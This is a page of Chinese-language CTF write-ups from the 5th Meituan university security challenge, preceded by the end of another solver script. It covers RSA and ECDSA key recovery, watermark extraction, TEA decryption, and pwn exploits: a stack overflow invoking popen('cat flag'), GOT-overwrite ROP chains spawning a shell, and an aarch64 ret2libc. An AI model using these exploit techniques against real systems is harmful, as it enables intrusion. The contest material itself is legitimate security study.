0x20, 0xE6, 0x2B, 0x43, 0xF0, 0xDE, 0x1F, 0x93,0xFF, 0x84, 0x06, 0x63, 0x30, 0xBF, 0xAD, 0x7E, 0x4C, 0x85, 0x02, 0xBA, 0xE5, 0x4D, 0x14,0x4B, 0x04, 0x3A, 0x89, 0x0B, 0xEE, 0x4E, 0xD4, 0xC4, 0x15, 0x6A, 0x58, 0xB5, 0xCD, 0x55,0x5A, 0x94, 0x52, 0xFC, 0x7A, 0x73, 0x96, 0x5F, 0x1C, 0x88, 0x6C, 0x37, 0xA9, 0x25, 0xA2,0xDF, 0xE2, 0xDD, 0xFA, 0xD7, 0xCC, 0x0F, 0xAF, 0x69, 0x27, 0xC9, 0x7F, 0x08, 0x32, 0x45,0x6F, 0xA3, 0x0E, 0x47, 0x2F, 0xC2, 0xE3, 0xBE, 0xF9, 0x29, 0xBC, 0x3C, 0xE1, 0x42, 0xD6,0x03, 0x8C, 0xE9, 0x62, 0xF3, 0xE8, 0x33, 0x0D, 0x2C, 0x78, 0x13, 0x1A, 0xF0, 0xF7, 0xDC,0x60, 0x75, 0xB0, 0x86, 0x0E, 0xAD, 0xB6, 0x71, 0x62, 0x77, 0x23, 0xFD, 0x9C, 0xAE, 0x7A,0x97, 0x76, 0x82, 0xFC, 0xBA, 0x17, 0x89, 0xA0, 0x01, 0x31, 0x78, 0x91, 0x04, 0x9B, 0xA3,0xEA, 0x42, 0x19, 0x83, 0xD5, 0xD0, 0xD2, 0x5E, 0xF5, 0x0B, 0xF3, 0x7E, 0x27, 0xE9, 0x73,0x26, 0xF6, 0x8A, 0x99, 0xB1, 0x8D, 0x7C, 0x1F, 0x2B, 0x9F, 0x2E, 0x9E, 0x07, 0xF9, 0xBF,0x57, 0x8B, 0xE6, 0x9D, 0x13, 0x94, 0xF2, 0x67, 0x69, 0x05, 0xC0, 0x64, 0xBE, 0xFE, 0xEC,0xD9, 0x65, 0x2C, 0x15, 0xAF, 0x38, 0x09, 0xA9, 0x10, 0xCD, 0x53, 0x8F, 0x37, 0x63, 0xB5,0xC4, 0xC8, 0xCC, 0x29, 0x49, 0x43, 0xDF, 0x6C, 0x5A, 0xF8, 0x47, 0x1B, 0xE1, 0xEB, 0x8E,0x70, 0x45, 0x59, 0xAA, 0x03, 0x18, 0x34, 0xC7, 0x39, 0xD8, 0x7F, 0x54, 0x3D, 0x8C, 0xB8,0x16, 0x7D, 0xFF, 0xB4, 0xD3, 0xE7, 0x90, 0xA4, 0x0C, 0x80, 0x50, 0x25, 0x6B, 0x3E, 0xBC,0xC1, 0xDA, 0xCA, 0xE0, 0xAC, 0x3A, 0x5D, 0x21, 0xA2, 0x81, 0xD1, 0x08, 0x33, 0x93, 0xDD,0x06, 0xAB, 0x35, 0xA5, 0x00, 0x1A, 0xED, 0x55, 0xEF, 0x98, 0x4C, 0xB7, 0x7B, 0x61, 0x2F,0x85, 0xE8, 0x87, 0x5C, 0x0D, 0x24, 0x0F, 0xCE, 0x6F, 0xD6, 0x66, 0x4F, 0xDB, 0x5B, 0x1C,0x46, 0xDE, 0x79, 0x44, 0x5F, 0xC3, 0x4A, 0x6A, 0xF4, 0x56, 0x6D, 0xEE, 0xBD, 0x41, 0x28,0xC6, 0x3B, 0x30, 0xCF, 0x74, 0x32, 0x1E, 0x0A, 0xFB, 0x20, 0xB2, 0x40, 0x48, 0xF1, 0x22,0xE4, 0x52, 0x96, 0x2A, 0xFA, 0x72, 0x84, 0x3F, 0x14, 0xA8, 0x9A, 0xA1, 0xBB, 0x36, 0xB9,0xA7, 0x95, 0xC9, 0x6E, 0x2D, 0xD4, 0xC2, 0xE5, 0x88, 0xD7, 0x68, 0x4E, 0xCB, 0x58, 0xB3,0x3C, 0x11, 0x12, 0xE2, 0x51, 0x4D, 0x4B, 0xE3, 0xA6, 0x02, 0xC5, 0x1D, 0x92, 0xC1, 0xB1,0xE9, 0x30, 0x6B, 0xB7, 0xFC, 0x2F, 0x65, 0x8A, 0x31, 0x63, 0x56, 0x80, 0xF5, 0x7B, 0xF0,0xA1, 0x42, 0xCA, 0x27, 0xA6, 0x0A, 0x3D, 0x59, 0xB2, 0x76, 0x08, 0xDE, 0xC2, 0x33, 0xEB,0x6F, 0xCB, 0x21, 0x40, 0xD5, 0x5D, 0x4E, 0x60, 0x44, 0x9E, 0x46, 0x4D, 0x8F, 0xE4, 0x8D,0x15, 0xCF, 0x68, 0x5E, 0xE6, 0xE7, 0x90, 0x86, 0x55, 0xB5, 0x8C, 0xDC, 0x67, 0x91, 0xFF,0x48, 0x6A, 0x6D, 0x1F, 0x14, 0x89, 0x39, 0x05, 0x0E, 0x82, 0x41, 0xE0, 0x20, 0xF9, 0xCC0xEC, 0xE1, 0x8B, 0x97, 0xFE, 0x3C, 0x6E, 0xB0, 0xBD, 0x22, 0x1E, 0xFA, 0x4B, 0x04, 0x73,0xFD, 0xD6, 0x07, 0x9F, 0x3E, 0x99, 0x2E, 0xED, 0x95, 0x7C, 0x35, 0xC3, 0x77, 0xAA, 0x87,0xD1, 0x01, 0x78, 0x3A, 0xA8, 0xC4, 0xBF, 0x53, 0xFB, 0x5A, 0x2B, 0xD4, 0x45, 0xAC, 0xA0,0xCE, 0xBC, 0x50, 0x1C, 0xF7, 0xC8, 0x4A, 0xBE, 0x23, 0x0D, 0xDD, 0xB8, 0xF2, 0x12, 0xDF,0x28, 0x69, 0x9A, 0xB3, 0x54, 0xE2, 0xF1, 0x92, 0xE3, 0x36, 0xF3, 0x25, 0xA3, 0xE8, 0x1A,0x19, 0x37, 0x9D, 0x02, 0x38, 0xA9, 0xE5, 0x3F, 0xDB, 0xC6, 0xB6, 0x57, 0xB9, 0x5B, 0x84,0xAD, 0xA4, 0x0F, 0x26, 0x49, 0xDA, 0x18, 0x00, 0x2D, 0xC5, 0xD7, 0xAF, 0x93, 0xC7, 0x3B,0x11, 0x13, 0x32, 0x94, 0xAE, 0x10, 0x51, 0x0C, 0xD9, 0x7F, 0x24, 0x43, 0x7D, 0x8E, 0xAB,0x98, 0x75, 0xD8, 0x71, 0xEA, 0x09, 0x96, 0x29, 0xF8, 0xEE, 0x81, 0x6C, 0xD3, 0x62, 0x7A,0xC9, 0x88, 0xD2, 0x66, 0x64, 0x5F, 0x0B, 0xEF, 0xA7, 0xA5, 0x79, 0x9B, 0x2A, 0x52, 0x58,0xA2, 0x47, 0x4F, 0x4C, 0x5C, 0x2C, 0x72, 0xCD, 0xC0, 0x70, 0x85, 0x61, 0x1D, 0x74, 0xD0,0xBB, 0x9C, 0x34, 0x7E, 0x03, 0xBA, 0x17, 0xF4, 0x16, 0xB4, 0xF6, 0x83, 0x06, 0x1B, 0x9E,0x54, 0xDC, 0x3F, 0x12, 0xF4, 0x72, 0x22, 0xA0, 0x43, 0xE1, 0xB5, 0xD6, 0xE8, 0xEE, 0x0C,0xBD, 0xA3, 0xCE, 0x9D, 0xEA, 0x3A, 0xD4, 0x29, 0x1C, 0xF1, 0x5D, 0x64, 0x53, 0xB7, 0xFE,0x0B, 0x84, 0x13, 0x14, 0x03, 0xE5, 0x57, 0x68, 0x17, 0xDB, 0x86, 0xB4, 0x0F, 0x45, 0x34,0x2A, 0x69, 0xE0, 0x4B, 0xD8, 0x0D, 0x42, 0xB8, 0x6B, 0x5B, 0xEB, 0x06, 0xF7, 0x81, 0x27,0xB6, 0xA6, 0x0A, 0x6D, 0x9A, 0xA4, 0x44, 0x11, 0x8F, 0x31, 0x59, 0x62, 0x41, 0x32, 0x07,0x93, 0x30, 0x1B, 0x89, 0x3B, 0x23, 0x76, 0xC6, 0xE2, 0x38, 0x65, 0xC0, 0xC2, 0xB1, 0xFB,0x58, 0x67, 0xCB, 0x94, 0x50, 0x1D, 0x4F, 0x92, 0xF0, 0x77, 0xBF, 0x4E, 0x49, 0xD9, 0xCA,0x9C, 0x1F, 0x8C, 0xD0, 0x6A, 0x8D, 0x10, 0x40, 0x5C, 0x00, 0xC1, 0xDD, 0x51, 0xFA, 0xAF,0xC9, 0xA2, 0x2F, 0x33, 0x82, 0xA1, 0xE3, 0xA7, 0x7F, 0x04, 0x56, 0xB0, 0xF2, 0x21, 0x09,0x55, 0x80, 0x61, 0xDA, 0xBA, 0x18, 0xA8, 0x8E, 0x16, 0x4C, 0xB2, 0x28, 0x7D, 0x5A, 0xAD,0xAB, 0x3C, 0x75, 0xCD, 0x9F, 0xD2, 0xC3, 0x6C, 0x4D, 0x48, 0xDE, 0x91, 0xBC, 0x66, 0xA9,0xC4, 0x71, 0xF6, 0x6E, 0x37, 0x79, 0x08, 0xF5, 0x1E, 0xD5, 0xE4, 0xF3, 0xCC, 0xD7, 0x35,0xEF, 0x2D, 0xB3, 0x15, 0x4A, 0x36, 0x26, 0x19, 0xB9, 0x90, 0x0E, 0x70, 0xF8, 0x3D, 0x7E,0x97, 0x99, 0xAA, 0x2E, 0x2C, 0x9B, 0x47, 0x25, 0x52, 0x3E, 0xC7, 0x88, 0x7A, 0x8A, 0xD1,0xAC, 0xE7, 0x05, 0x20, 0x63, 0xDF, 0x60, 0x24, 0xCF, 0x78, 0x02, 0x74, 0xAE, 0xF9, 0xC8,0x46, 0x98, 0x87, 0x39, 0x5F, 0x83, 0x8B, 0xE6, 0xD3, 0x85, 0xE9, 0xEC, 0x7B, 0x01, 0x1A,0xA5, 0x7C, 0x95, 0x73, 0x5E, 0xFF, 0xFC, 0xBE, 0x96, 0xFD, 0xED, 0x6F, 0x2B, 0xC5, 0xBB,0x17, 0x27, 0x58, 0x39, 0x7D, 0xF0, 0x13, 0xD0, 0xA6, 0xE1, 0xBB, 0xB9, 0x00, 0x96, 0x9D,0x01, 0xCF, 0x18, 0x70, 0xAB, 0x56, 0xE2, 0x5B, 0x1C, 0xF9, 0x6E, 0x49, 0xE8, 0xF5, 0xAC,0xDB, 0x03, 0x59, 0x5C, 0xAD, 0x0E, 0xA0, 0xC2, 0xDE, 0x5F, 0x69, 0x33, 0x0D, 0xE4, 0x74,0xB1, 0x7E, 0xAF, 0x24, 0x61, 0x04, 0x88, 0x77, 0x3C, 0x2C, 0x3B, 0xA9, 0xB6, 0xD8, 0x82,0xA2, 0x37, 0x30, 0xC0, 0xD3, 0x06, 0x7C, 0x2A, 0xBA, 0xAA, 0x19, 0x0A, 0x55, 0x78, 0x8D,0x54, 0x72, 0x93, 0x20, 0xFC, 0x22, 0xF2, 0x1A, 0x8A, 0x92, 0x94, 0x6F, 0x15, 0xB4, 0x02,0x42, 0x09, 0x2F, 0x26, 0xCC, 0xD4, 0xB7, 0x5D, 0xD7, 0x83, 0xBC, 0x9E, 0xE7, 0x4F, 0x7B,0x9B, 0xF4, 0x46, 0x6B, 0x95, 0x36, 0x1B, 0xC6, 0xBE, 0x34, 0x2B, 0x4D, 0x25, 0x62, 0xD2,0xE3, 0x29, 0xE6, 0x08, 0x4E, 0x71, 0x4C, 0xDA, 0xEC, 0x41, 0xDC, 0xC3, 0x51, 0x4A, 0xC8,0x6C, 0x66, 0xEE, 0x86, 0xEB, 0xF8, 0x0B, 0xCD, 0xD6, 0x68, 0x10, 0x85, 0x14, 0x28, 0x7A,0x60, 0x2D, 0xCB, 0xED, 0x52, 0x67, 0x84, 0x38, 0x0F, 0x89, 0x11, 0x91, 0x23, 0xBF, 0xAE,0xBD, 0xB2, 0x1F, 0x7F, 0x99, 0x79, 0x65, 0x21, 0x1D, 0x73, 0x8E, 0x45, 0xA8, 0xF7, 0xC5,0x6A, 0x35, 0x57, 0x32, 0x8B, 0x47, 0xC7, 0x48, 0xB8, 0x43, 0x8F, 0x98, 0xC4, 0xFA, 0xDD,0x76, 0x0C, 0x05, 0xFF, 0xD9, 0xC1, 0xB0, 0x97, 0xD5, 0x16, 0xFD, 0xD1, 0xF3, 0x9C, 0x64,0xB5, 0x07, 0xA4, 0x2E, 0x5E, 0x12, 0x75, 0xFE, 0x44, 0xF6, 0x1E, 0x8C, 0x80, 0xA3, 0x6D,0xE5, 0x90, 0xB3, 0xE0, 0x3D, 0xCA, 0xEA, 0xA5, 0xC9, 0xCE, 0xA1, 0xEF, 0x53, 0xFB, 0xF1,0x50, 0x5A, 0xE9, 0x31, 0x9F, 0x3E, 0x63, 0x9A, 0x3F, 0x87, 0x3A, 0xDF, 0x81, 0x40, 0xA7,0x4B]inv_sbox = [0]*0x100def do_subs(x):for i in [25, 21, 16, 27 , 4, 10, 23, 7]:x = sbox[i*0x100+x]return xdef gen_inv_sbox():input_data = list(range(0x100))for j in range(0x100):input_data[j] = do_subs(input_data[j])# print(input_data)for i in range(0x100):inv_sbox[i] = input_data.index(i)gen_inv_sbox()flag = [claripy.BVS('', 32) for i in range(22)]solve = claripy.Solver()for i in range(len(flag)):solve.add(flag[i] >= 0)solve.add(flag[i] < 0x100)solve.add(159947*flag[0]-17274276==0)solve.add(4294891102*flag[1]-288728*flag[0]+36973368==0)solve.add(-247146*flag[1]-291401*flag[0]-166371*flag[2]+75709167==0)solve.add(-1741*flag[1]+218084*flag[3]+280814*flag[0]-149372*flag[2]-33947928==0)solve.add(174323*flag[3]+136024*flag[2]-141923*flag[1]-301049*flag[4]+323059*flag[0]-53238195==0)solve.add(-12269*flag[3]+286713*flag[1]-78320*flag[0]+301362*flag[2]+269836*flag[5]-255324*flag[4]-99312448==0)solve.add(-103798*flag[2]+201146*flag[5]-285406*flag[3]-188094*flag[4]-104025*flag[0]-50098*flag[1]-109789*flag[6]+50727897==0)solve.add(117443*flag[7]+275692*flag[3]+349275*flag[1]-381943*flag[2]+332376*flag[4]-269146*flag[5]+222994*flag[6]-267344*flag[0]+9817748==0)solve.add(19156*flag[6]+-281586*flag[7]-168850*flag[0]+363716*flag[3]-32886*flag[1]+44299*flag[4]+170590*flag[8]+81061*flag[5]+201865*flag[2]-32987442==0)solve.add(22459*flag[6]+-80349*flag[1]+239015*flag[5]-42367*flag[9]-113712*flag[7]-146568*flag[2]+241696*flag[3]+232212*flag[0]-162511*flag[8]+61621*flag[4]-41031017==0)solve.add(-1754*flag[0]+128062*flag[7]-329492*flag[3]-167316*flag[2]-178991*flag[4]+186377*flag[10]+307270*flag[6]-328477*flag[8]+248665*flag[1]+374863*flag[9]+373711*flag[5]-86829517==0)solve.add(11843*flag[5]+17087*flag[3]-35818*flag[0]-182330*flag[7]-354816*flag[4]-126036*flag[2]+114656*flag[8]-90442*flag[9]+330888*flag[11]+78226*flag[10]-260641*flag[1]+105414*flag[6]+63250156==0)solve.add(7469*flag[9]+6283*flag[11]+-87345*flag[2]+248111*flag[5]+213581*flag[4]+89194*flag[8]+36305*flag[6]+98667*flag[1]+300755*flag[12]+191415*flag[7]+350540*flag[0]+359565*flag[10]-185365*flag[3]-165783260==0)solve.add(8209*flag[8]+131781*flag[1]+152898*flag[0]+40158*flag[11]-86271*flag[12]-105755*flag[6]+264037*flag[3]-130948*flag[10]-243572*flag[7]-48159*flag[2]-269443*flag[9]-376534*flag[5]-67954*flag[4]-119669*flag[13]+117580744==0)solve.add(-3429*flag[6]+102230*flag[5]+126967*flag[10]-344174*flag[8]-225911*flag[11]+118364*flag[14]-72044*flag[1]+280519*flag[0]-241789*flag[2]-274918*flag[9]-91055*flag[12]-122403*flag[3]+118907*flag[7]-34240*flag[13]+240524*flag[4]+35507568==0)solve.add(-24137*flag[9]+28203*flag[13]+150213*flag[1]+311204*flag[0]-94750*flag[7]+130029*flag[2]-305057*flag[14]+176246*flag[5]-256662*flag[8]-331010*flag[12]-301118*flag[4]-309379*flag[10]+187867*flag[3]-102250*flag[11]-340412*flag[15]+144084*flag[6]+39635710==0)solve.add(-27445*flag[12]+-289483*flag[10]-164045*flag[16]-218276*flag[1]+183266*flag[3]-311967*flag[8]-55127*flag[14]-211824*flag[13]-375628*flag[9]-201931*flag[0]-324618*flag[4]+52026*flag[6]+93926*flag[5]-105199*flag[7]-254102*flag[15]-159881*flag[11]+378091*flag[2]+106013500==0)# solve.add(# 27619 * flag[4]# + 9873 * flag[1]# + -23276 * flag[8]# + -196254 * flag[9]# + 181235 * flag[0]# + 150865 * flag[16]# - 148807 * flag[14]# - 272020 * flag[17]# - 346803 * flag[2]# - (flag[3] | (flag[3] << 16 == 0) == 0)# + 132879 * flag[10]# + 239833 * flag[6]# - 151023 * flag[11]# + 224631 * flag[12]# + 294607 * flag[5]# - 362447 * flag[7]# - 110250 * flag[15]# + 153229 * flag[13]# + 56953741 == 0)solve.add(-1159*flag[1]+6659*flag[6]+-25875*flag[7]+80743*flag[10]+38124*flag[9]+40844*flag[13]-259165*flag[12]+340584*flag[16]+107346*flag[2]-124400*flag[8]-34846*flag[11]-338119*flag[17]-220860*flag[5]+167374*flag[3]+71134*flag[15]-143594*flag[14]-115172*flag[4]-104789*flag[0]+108066*flag[18]+50659353==0)solve.add(-26438*flag[19]+14055*flag[10]+31477*flag[12]+-179950*flag[4]+79775*flag[17]+70516*flag[5]+330549*flag[2]+169852*flag[11]+51486*flag[7]+123944*flag[13]-370154*flag[14]-132851*flag[18]+237187*flag[3]-89341*flag[9]-256083*flag[1]+317327*flag[0]+42009*flag[15]+336122*flag[6]+128554*flag[8]-205903*flag[16]-112255597==0)solve.add(30250*flag[5]+127076*flag[16]-218938*flag[0]+162996*flag[14]+141792*flag[12]-197967*flag[9]-247332*flag[4]-286218*flag[7]-168508*flag[18]+300020*flag[2]-46255*flag[10]-78960*flag[19]+213181*flag[6]-329333*flag[13]+126938*flag[8]-266759*flag[11]+182266*flag[17]-41677*flag[1]+158645*flag[15]-61925*flag[3]+67755*flag[20]-52014431==0)solve.add(-281*flag[0]+10712*flag[19]+14584*flag[4]+-167168*flag[13]+308120*flag[7]-233003*flag[8]+114047*flag[14]+330767*flag[10]-71246*flag[6]-259485*flag[2]+374645*flag[21]-116397*flag[3]+64115*flag[20]+281339*flag[9]+321916*flag[15]-272240*flag[12]-135149*flag[16]-288340*flag[18]+71833*flag[11]-233821*flag[1]-223297*flag[17]+141256*flag[5]+17267952==0)def test1(x):a = bytearray(len(x))for i in range(len(x)):a[i] = inv_sbox[x[i]]return bytes(a)def test2(x):a = bytearray(len(x))for i in range(len(x)):a[i] = do_subs(x[i])return bytes(a)for x in solve.batch_eval(flag, 4):x = bytes(x)print(test1(x))# flag: flag{HM_l1c3nc3_0k!!!} 四、Crypto1.5_vgcdK * v = tv.T * K.T = t.T用第一组t1搞LLL得到一个K.T,然后v.T = solve_left(K.T,t.T)接着在v.T里面遍历,爆破r,取gcd,根据长度是素性得到pp,然乎copper搞一下,解rsa得到flag。with open("output7.txt") as f: data = f.read().split("\n") n = eval(data[0]) c = eval(data[1]) t1 = eval(data[2]) t2 = eval(data[3]) M = Matrix(t1) K = M.LLL()[-3:] s = K.solve_left(M[:3]) for ss in s: a = abs(ss[0]) b = abs(ss[2]) for i in range(2^6): for j in range(2^6): if gcd(a-i,b-j) > 2^10: print(gcd(a-i,b-j)) pp = 313246472203572238616195801879608898722966109482769416302463071823547244571165975167479 eta = 288 gamma = 512 P.<x> = PolynomialRing(Zmod(n)) f = x+pp*2^(gamma-eta) r = int(f.small_roots(X = 2^(gamma-eta), beta = 0.4)[0]) p = f(r) from Crypto.Util.number import * long_to_bytes(pow(c,int(pow(0x10001,-1,p-1)),int(p))) 2.5_wb#!/usr/bin/env python # coding: utf-8 # In[1]: from ecdsa import ecdsa as ec # In[2]: r1 = 0xBBDFAC1809250A2BB9415225F7C548CF8C03A5E100F95D52A4AA27F42A2F0FBE # In[3]: r2 = 0xBBDFAC1809250A2BB9415225F7C548CF8C03A5E100F95D52A4AA27F42A2F0FBE # In[4]: s1 = 0x77FB1A7C7FEA54A2A6C7E7535C28868C10549B831411F7A8EBB9F6DE1B4ADDF6 # In[5]: s2 = 0x31213DACD2339525C292FC69F8F828D23A3CA73567BACD8EA2ECE8BF653E97F6 # In[6]: h1 = 0 # In[7]: h2 = 0x1000000000000000000000000000000000000000000000000000000000000000 # In[11]: g = ec.generator_256 n = g.order() # In[12]: n # In[13]: N = 115792089210356248762697446949407573529996955224135760342422259061068512044369 # In[14]: import gmpy2 # In[15]: k=((h1-h2)*gmpy2.invert((s1-s2),n))%n # In[16]: k # In[17]: d=((s1*k-h1)*gmpy2.invert(r1,n))%n # In[18]: d # In[19]: import libnum # In[20]: libnum.n2s(int(2761328357323929781063385491249486142671766712847109466352079855419392))
-
第五届美团网络安全高校挑战赛团体初赛writeup
一、misc 1.题目名称:CyberSpace先选择最小的数使其相等,然后分成两部分依次加各部分最小的次数,不会写脚本只能手搓b= [32 , 38, 27 , 33 , 53 , 30 , 35 , 32 ,32 , 31 , 44 , 31 , 40 , 46 , 25 , 50 , 41 , 44 , 55] flag='' for i in range(len(b)): flag+=chr(b[i]+70) print(flag) #flag{different_xor} crypto strange_rsa1 将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可 2.题目名称:ezdct-svd开局一张图 根据题目名ezdct-svd就可以知道是dct的频域隐写,然后hint.txt为 我们找到了用于嵌入水印的脚本文件hide.py中其中的三行(这三行并不挨着): watermark = cv2.imread('qrcode.bmp', cv2.IMREAD_GRAYSCALE).flatten() > 128 block_shape = (8, 8) Sigma[0] = (Sigma[0] // 30 + 0.5 * watermark[i] + 0.25) * 30 最后那句可以在invisible-watermark/dwtDctSvd.py at main · ShieldMnt/invisible-watermark (github.com)这找到相关源码,解量化的方法就是 int ((s[0] % scale) > scale * 0.5),思路就结束了,所以说图片先分块,然后用dct变换后再svd分解,取矩阵的最大特征值后解量化即可,据此写脚本得到 import matplotlib.pyplot as plt import cv2 import numpy as np def infer_dct_svd(frame): _block = 8 res = [] row, col = frame.shape for i in range(row//_block): for j in range(col//_block): block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block]) _DCT = cv2.dct(block) u,s,v = np.linalg.svd(_DCT) # print(s[0]) score = int ((s[0] % 30) > 30 * 0.5) res.append(score) return np.array(res)*255 wm_length = 64*64 pic = cv2.imread('embedded.bmp') count = 0 R = pic[:,:,2] r = infer_dct_svd(R)[:64*64].reshape(64,64) plt.imshow(r) plt.show() 其实这边有三个图层,但是一般都是先从r图层开始,这里可以很清楚的看见最上面有一长串的黑值,且长度为7,找到下一处长度为7的黑条,数了下长度为37,而37*37也正是二维码的尺寸,修改size即可得到flag二维码 import matplotlib.pyplot as plt import cv2 import numpy as np def infer_dct_svd(frame): _block = 8 res = [] row, col = frame.shape for i in range(row//_block): for j in range(col//_block): block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block]) _DCT = cv2.dct(block) u,s,v = np.linalg.svd(_DCT) # print(s[0]) score = int ((s[0] % 30) > 30 * 0.5) res.append(score) return np.array(res)*255 wm_length = 64*64 pic = cv2.imread('embedded.bmp') count = 0 R = pic[:,:,2] r = infer_dct_svd(R)[:37*37].reshape(37,37) plt.imshow(r) plt.show() flag{4a8a4732-df32-415d-9945-d5ce0a16a0d1} 二、crypto1.题目名称:strange_rsa1将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可n =108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413c =23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924gift =0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938from Crypto.Util.number import *n=RealField(prec=512*2)(n)p1=n/giftprint(int(p1))from gmpy2 import *p=iroot(int(p1),2)[0]print(p)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034368import sympyfrom Crypto.Util.number import *import gmpy2floating_rng=500000for i in range(p-floating_rng, p+floating_rng):q = divmod(n,i)if q[1]==0:print("p 等于: ",i)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369q=n//pd=invert(65537,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(m))#flag{a5537b232c1ab750e0db61ec352504a301b7b212}三、pwn1.题目名称:smtp协议逆向,可知 sender_worker 有栈溢出#!/usr/bin/env python3from re import searchfrom pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugif gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcp = remote('127.0.0.1',9999)p.sendafter('220 SMTP tsmtp\n','HELOfxxk')p.sendafter('250 Ok\n',"MAIL FROM:cat flag >&5\x00")p.sendafter("250 Ok\n",b"RCPT TO:" + flat({0x100:[0x804d1d0,'a'*0xc,elf.plt.popen,'dead',0x804d140,elf.search(b'r\x00').__next__()]},length=0x200))p.sendafter('250 Ok\n','DATA')p.sendafter(".<CR><LF>\n",b".\r\n" + b"fxxk")p.interactive()p.close() 2.题目名称:note菜单的逻辑,但是是栈溢出。 利用 magic_gadget:add [rbp-3Dh],ebx 即可。 #!/usr/bin/env python3from pwncli import *cli_script()io:tube = gift["io"]elf:ELF = gift["elf"]libc:ELF = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugcontext.arch = 'amd64‘if gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcdef cmd(idx):sla('leave',str(idx))#0 ~ 0x1ffdef add(size,cont):cmd(1)sla('Size:',str(size))sla('Content:',str(cont))def show(idx):cmd(2)sla('Index:',str(idx))def edit(idx,cont):cmd(3)sla('Index:',str(idx))sa('Content:',(cont))def free(idx):cmd(4)sla('Index:',str(idx))gdb.attach(io,'b *0x401579')sleep(1)CurrentGadgets.set_find_area(1,0)edit(-4,flat({8:[CurrentGadgets.write_by_magic(elf.bss(0x100),0,u32_ex('sh')),CurrentGadgets.write_by_magic(elf.got.puts,libc.sym.puts,libc.sym.system),CurrentGadgets.pop_rdi_ret(),elf.bss(0x100),CurrentGadgets.ret(),elf.plt.puts]}))io.interactive() 3.题目名称:捉迷藏简单的利用一下 angr 就行 import angrimport sysproj = angr.Project("pwn", auto_load_libs=False)state = proj.factory.blank_state(addr=0x4076BD)simu = proj.factory.simgr(state)simu.explore(find=0x4079C6, avoid=0x407A43)if simu.found:print("find!")solution = simu.found[0]key = solution.posix.dumps(sys.stdin.fileno())print(key)#get :'<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'#!/usr/bin/env python3from pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libc filename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugsa('sbAmJLMLWm:',"a "*8)sa('HuEqdjYtuWo:','a'*0x33)#sa('tfAxpqDQuTCyJw:','a'*8)sa('hbsoMdIRWpYRqvfClb:','a'*0x35)sa('tfAxpqDQuTCyJw:','a'*0x22)sa('UTxqmFvmLy:','a '*3 + '9254 ' + '0 ' + 'a '*3)sa('LLQPyLAOGJbnm:','<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')sa('gRGKqIlcuj:',flat({0xf + 8:[0x401334]},length=0x37))io.interactive() 4.题目名称:ret2libc_aarch64正如题目字面意思, ret2libc,不过是 aarch64 #!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcdef leak(addr: int):sla(">", "1")sa("sensible>>\n", p64_ex(addr))return rl()def pwn(data):sla(">", "2")sla("sensible>>\n", data)msg = leak(elf.got.read)read_addr = (0x4000 << 24) + u64_ex(msg[:-1])log_address("read_addr", read_addr)lb = read_addr - 0x00000000000c3b40# 0x00128e80 binsh# 0x0000000000063e5c: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;# 0000000000040578 systemlog_address("target gadget", lb + 0x63e5c)data = flat({136: [lb + 0x63e5c,[lb + 0x000000000040578] * 5,lb + 0x00128e80,[lb + 0x000000000040578] * 5]})pwn(data)ia() 三、reverse1.题目名称:small以二进制文件形式,在 ida 中打开在适当的地址处,按 c 转成汇编代码,分析出是 TEA 加密, delta 和密钥均已知在字符串”good”后找到密文解密 TEA 即可得到 flag#include <stdio.h>#include <stdint.h>//加密函数void encrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], sum = 0, i;uint32_t delta = 0x67452301;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i < num_rounds; i++) {sum += delta;v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);}v[0] = v0; v[1] = v1;}//解密函数void decrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], i;uint32_t delta = 0x67452301,sum = delta*num_rounds;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i<num_rounds; i++) {v1 -= ((v0 << 4) + 